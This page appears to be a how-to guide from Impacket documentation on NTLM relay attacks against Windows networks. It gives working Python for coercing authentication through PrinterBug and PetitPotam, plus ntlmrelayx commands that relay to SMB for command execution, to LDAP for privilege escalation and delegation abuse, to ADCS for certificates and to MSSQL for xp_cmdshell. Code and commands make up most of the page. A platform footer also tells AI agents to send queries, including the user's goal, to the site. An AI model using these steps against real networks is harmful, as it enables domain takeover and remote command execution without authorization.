> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/relay-attacks.md).

# Relay Attacks

You have a position on the network where you can intercept or coerce NTLM authentication, and need to relay it to a target service to gain access.

## What you need

* A machine on the network that can receive incoming connections (your relay host)
* A target service that doesn't require SMB signing or EPA (for SMB/LDAP targets)
* A way to trigger authentication toward your relay host (coercion, LLMNR/NBT-NS poisoning, or user interaction)

***

## Understand what the relay framework does

Impacket's ntlmrelayx runs two halves: a **server** that accepts incoming NTLM authentication (over SMB, HTTP, WCF, or raw TCP), and a **client** that forwards those NTLM messages to a target service. The attacker never sees the password — they sit between victim and target, passing Type 1/2/3 messages through. After successful relay, an **attack module** executes a post-relay action using the authenticated session.

***

## Check if SMB signing is required on your target

Before attempting an SMB relay, verify the target doesn't require signing:

```python
from impacket.smbconnection import SMBConnection

conn = SMBConnection(target_ip, target_ip)
conn.login('', '')  # null session or anonymous

# Check signing
if conn.isSigningRequired():
    print(f"[!] {target_ip} requires SMB signing, relay will fail")
else:
    print(f"[+] {target_ip} does not require signing, relay is possible")

conn.close()
```

For bulk checking across a subnet, iterate your target list and record which hosts are signable.

***

## Coerce authentication using MS-RPRN (PrinterBug)

If a target machine has the Print Spooler service running, you can force it to authenticate to your relay host using `hRpcRemoteFindFirstPrinterChangeNotificationEx`:

```python
from impacket.dcerpc.v5 import transport, rprn

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{victim_ip}[\pipe\spoolss]')
rpctransport.set_credentials(username, password, domain)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)

# Open a printer handle
resp = rprn.hRpcOpenPrinter(dce, f'\\\\{victim_ip}\x00')
printer_handle = resp['pHandle']

# Trigger callback to your relay host
# The victim will attempt NTLM authentication to \\attacker_ip
rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
    dce,
    printer_handle,
    fdwFlags=rprn.PRINTER_CHANGE_ADD_JOB,
    pszLocalMachine=f'\\\\{attacker_ip}\x00',
)

dce.disconnect()
```

The victim machine's computer account will authenticate to your relay host. This is the authentication you relay to the target.

***

## Coerce authentication using MS-EFSR (PetitPotam)

MS-EFSR (Encrypting File System Remote) provides another coercion vector. Impacket's `efsrpc` module (if available in your version) or a raw RPC call to the `\pipe\efsrpc` or `\pipe\lsarpc` named pipe:

```python
from impacket.dcerpc.v5 import transport
from impacket import uuid

# EFS RPC interface UUID
MSRPC_UUID_EFSR = uuid.uuidtup_to_bin(('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0'))

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{victim_ip}[\pipe\efsrpc]')
rpctransport.set_credentials(username, password, domain)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_EFSR)

# Build the EfsRpcOpenFileRaw request manually if no helper exists
# The FileName parameter points to your attacker UNC path
# e.g., \\attacker_ip\share\file.txt
```

If your Impacket version doesn't include `efsrpc.py`, you can define the request structures yourself using the DCE/RPC module pattern from Guide 11.

***

## Set up the relay infrastructure

### Relay SMB → SMB (command execution)

The relay server captures the incoming NTLM auth and forwards it to the SMB target. On success, ntlmrelayx creates a service to execute a command:

```bash
ntlmrelayx.py -t smb://target_ip -smb2support -c "whoami > C:\Windows\Temp\relayed.txt"
```

### Relay SMB → LDAP (AD modification)

If the target DC doesn't enforce LDAP signing or channel binding:

```bash
ntlmrelayx.py -t ldap://dc_ip --escalate-user compromised_user
```

The LDAP attack module can add users to groups, configure RBCD, or modify ACLs depending on the relayed account's privileges.

### Relay SMB → LDAPS (for write operations requiring encryption)

```bash
ntlmrelayx.py -t ldaps://dc_ip --delegate-access
```

The `--delegate-access` flag creates a machine account (if the quota allows) and configures RBCD on the relayed computer account, setting up the delegation chain from Guide 9.

### Relay HTTP → LDAP (ADCS relay)

If ADCS web enrollment is available without EPA:

```bash
ntlmrelayx.py -t http://ca_ip/certsrv/certfnsh.asp --adcs --template DomainController
```

This requests a certificate as the relayed account, which can then be used for PKINIT authentication (see Guide 10).

***

## Relay to MSSQL

If a SQL Server accepts NTLM authentication and the relayed account has access:

```bash
ntlmrelayx.py -t mssql://sql_ip -q "SELECT SYSTEM_USER; EXEC xp_cmdshell 'whoami'"
```

The post-relay action runs the SQL query using the relayed session.

***

## Use SOCKS mode for interactive access

Instead of executing a one-shot attack, keep the relayed session open as a SOCKS proxy:

```bash
ntlmrelayx.py -t smb://target_ip -smb2support -socks
```

After a successful relay, ntlmrelayx opens a SOCKS proxy (default port 1080). You can then use any Impacket tool through the proxy with the relayed session:

```bash
proxychains smbclient.py -no-pass DOMAIN/RELAYED_USER@target_ip
```

The SOCKS mode keeps the authenticated session alive for as long as the connection persists, allowing multiple operations through a single relay.

***

## Programmatic relay: using the framework in your own code

The relay server and client classes can be instantiated directly:

```python
from impacket.examples.ntlmrelayx.servers import SMBRelayServer
from impacket.examples.ntlmrelayx.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

config = NTLMRelayxConfig()
config.setTargets(TargetsProcessor(singleTarget='smb://target_ip'))
config.setMode('RELAY')
config.setSMB2Support(True)
config.setInterfaceIp('0.0.0.0')

# The server will listen for incoming SMB connections and relay them
server = SMBRelayServer(config)
server.start()
```

This lets you embed relay functionality in larger automation scripts rather than relying on the `ntlmrelayx.py` command-line tool.

***

## Verify relay prerequisites

Before running a relay attack, confirm your conditions:

```python
from impacket.smbconnection import SMBConnection

# 1. Target doesn't require SMB signing (for SMB targets)
conn = SMBConnection(target_ip, target_ip)
conn.login('', '')
signing_required = conn.isSigningRequired()
conn.close()

# 2. Victim has the service running (for coercion)
# Check Print Spooler for MS-RPRN coercion
from impacket.dcerpc.v5 import transport, scmr

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{victim_ip}[\pipe\svcctl]')
rpctransport.set_credentials(username, password, domain)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)

resp = scmr.hROpenSCManagerW(dce)
resp = scmr.hROpenServiceW(dce, resp['lpScHandle'], 'Spooler\x00')
status = scmr.hRQueryServiceStatus(dce, resp['lpServiceHandle'])
spooler_running = status['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING

dce.disconnect()

print(f"SMB signing required: {signing_required}")
print(f"Print Spooler running: {spooler_running}")
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/relay-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
